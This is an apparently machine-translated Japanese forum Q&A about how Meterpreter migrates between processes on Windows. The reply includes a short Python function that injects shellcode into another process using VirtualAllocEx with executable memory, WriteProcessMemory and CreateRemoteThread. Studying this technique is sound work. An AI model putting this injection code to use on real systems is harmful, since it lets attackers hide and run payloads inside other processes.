WindowsのMeterpreterでプロセスの移行がどのように機能するかを誰かが理解しようとしましたか?それを学ぶために自分のスクリプトを作りたいのですが、その出発点を見つけることができません。まあ、私はNtQuerySystemInformation
ライブラリとそのSystemHandleInformation
関数を使用するというアイデアを持っています。OSでスレッドのハンドルを返すことができ、それらを使用して親を変更できるからです。仕事に行く(TEBのため)。そして、NtQuerySystemInformation
よりも簡単な方法があるはずだと感じています。誰かがDLLまたは使用するアルゴリズムを提案しますか?
これは、meterpreterでの移行の仕組みです。
Githubの 最も深い場所 のどこかに必要なすべてのことを実行するこのコードを見つけたので、この情報を探す人は以下のAPI関数で答えを見つけることができます。
def injectshellcode(self, shellcode):
"""This function merely executes what it is given"""
shellcodeaddress = self.kernel32.VirtualAllocEx(
self.handle,
None,
len(shellcode),
0x1000,
0x40
)
self.kernel32.WriteProcessMemory(
self.handle,
shellcodeaddress,
shellcode,
len(shellcode),
None
)
thread = self.kernel32.CreateRemoteThread(
self.handle,
None,
0,
shellcodeaddress,
None,
0,
None
)